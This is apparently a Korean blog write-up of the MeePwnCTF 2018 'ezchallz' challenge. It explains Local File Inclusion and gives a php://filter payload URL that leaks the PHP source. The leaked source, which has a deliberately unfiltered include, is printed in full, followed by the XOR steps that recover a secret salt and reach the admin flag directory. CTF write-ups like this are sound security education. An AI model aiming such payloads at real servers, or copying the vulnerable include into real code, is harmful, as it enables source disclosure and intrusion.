[MeePwnCTF 2018] ezchallz

2018. 7. 16. 16:49


ezchallz입니다. 주어진 url로 접속해보면 Free register라고 나오는데, LFI 취약점이 있습니다.



LFI(Local File Inclusion) 취약점은 웹 브라우저를 통해 서버에 파일을 포함시키는 과정입니다.

이 취약점은 인클루드할 페이지 경로가 적절히 필터링되지 않았고 디렉토리 변경 명령어들의 삽입을 허용했을때 일어납니다.

대부분의 LFI 취약점은 URL을 통해 이뤄지는데 이는 보통 개발자가 GET Method 사용을 선호하기 때문입니다. 


그래서 php://filter을 이용해서 php://filter/convert.base64-encode/resource=파일이름 를 page=뒤에 붙여서 보내면 해당 파일을 추출해낼 수 있습니다.

 

http://206.189.92.209/ezchallz/?page=php://filter/read=convert.base64-encode/resource=index


추출된 파일의 내용은 아래와 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<a href="index.php">Homepage</a>
<a href="?page=register">Free register</a></li>
 
<?php
if(isset($_GET["page"]) && !empty($_GET["page"])) {
    $page = $_GET["page"];
    if(strpos(strtolower($page), 'secret'!== false) {
        die('No no no!');
    }
//    else if(strpos($page, 'php') !== false) {
 //       die("N0 n0 n0!");
//    }
    else {
        include($page . '.php');
    }
}
?>
</html>
 
cs


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<html>
<?php
error_reporting(0);
 
function gendirandshowflag($username) {
    include('secret.php');
    $dname = "";
    $intro = "";
    $_username = md5($username$raw_output = TRUE);
    for($i = 0$i<strlen($salt); $i++) {
        $dname.= chr(ord($salt[$i]) ^ ord($_username[$i]));
    };
    $dname = "users/" . bin2hex($dname);
    echo 'You have successfully register as ' . $username . '!\n';
    if ($_username === hex2bin('21232f297a57a5a743894a0e4a801fc3')) {
        $intro = "Here is your flag:" . $flag;
    }
    else {
        $intro = "Here is your flag, but I'm not sure ?쨺: \nMeePwnCTF{" . md5(random_bytes(16) . $username) . "}";
    }
    mkdir($dname);
    file_put_contents($dname . '/flag.php'$intro);
    header("Location: "$dname . "/flag.php");
}
 
if (isset($_POST['username'])) {
    if ($_POST['username'=== 'admin') {
        die('Username is not allowed!');
    }
    else {
        gendirandshowflag($_POST['username']);
    }
}
?>
 
        <form action="?page=register" method="POST">
        <input type="text" name="username"><br>
        <input type="submit" value="Register">
        </form>
</html>
 
 
cs


유저명의 md5와 secret_salt의 값과 XOR한 값으로 폴더를 생성하고, 그 안에는 가짜 flag를 보여주는 flag.php가 있습니다.

단순히 md5값과 salt값을 xor한것이므로 역으로 salt값을 구할 수 있습니다.


salt값을 구하여 admin의 md5값과 xor한 값을 폴더로하여 들어가면 올바른 flag를 구할 수 있습니다.


md5 encrypt : https://www.md5online.org/


XOR하기 위해 예전에 cryptopals 문제풀때 사용했던 python code를 그대로 사용했습니다. https://github.com/wotmd/cryptopals/blob/master/set1/02_Fixed_XOR.py


Regiser sherlock is : aa415a493257a95092efead786d5aea1

MD5 hash for sherlock is : 1bea3a3d4bc3be1149a75b33fb8d82bc


so Secret Salt is : b1ab607479941741db48b1e47d582c1d


MD5 hash for admin is : 21232f297a57a5a743894a0e4a801fc3

Regiser admin is : 90884f5d03c3b2e698c1fbea37d833de




접속하면 위와같이 플래그를 얻을 수 있습니다.




'Write-up > Crypto' 카테고리의 다른 글

[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16
[MeePwnCTF 2018] esor (hard)  (0) 2018.07.16
[UIUCTF 2018] Hastad  (0) 2018.06.02
[Byte Bandits CTF 2018]R u Ronald Rivest?  (0) 2018.06.02
[Plaid CTF 2018] macsh - 125  (0) 2018.05.07

+ Recent posts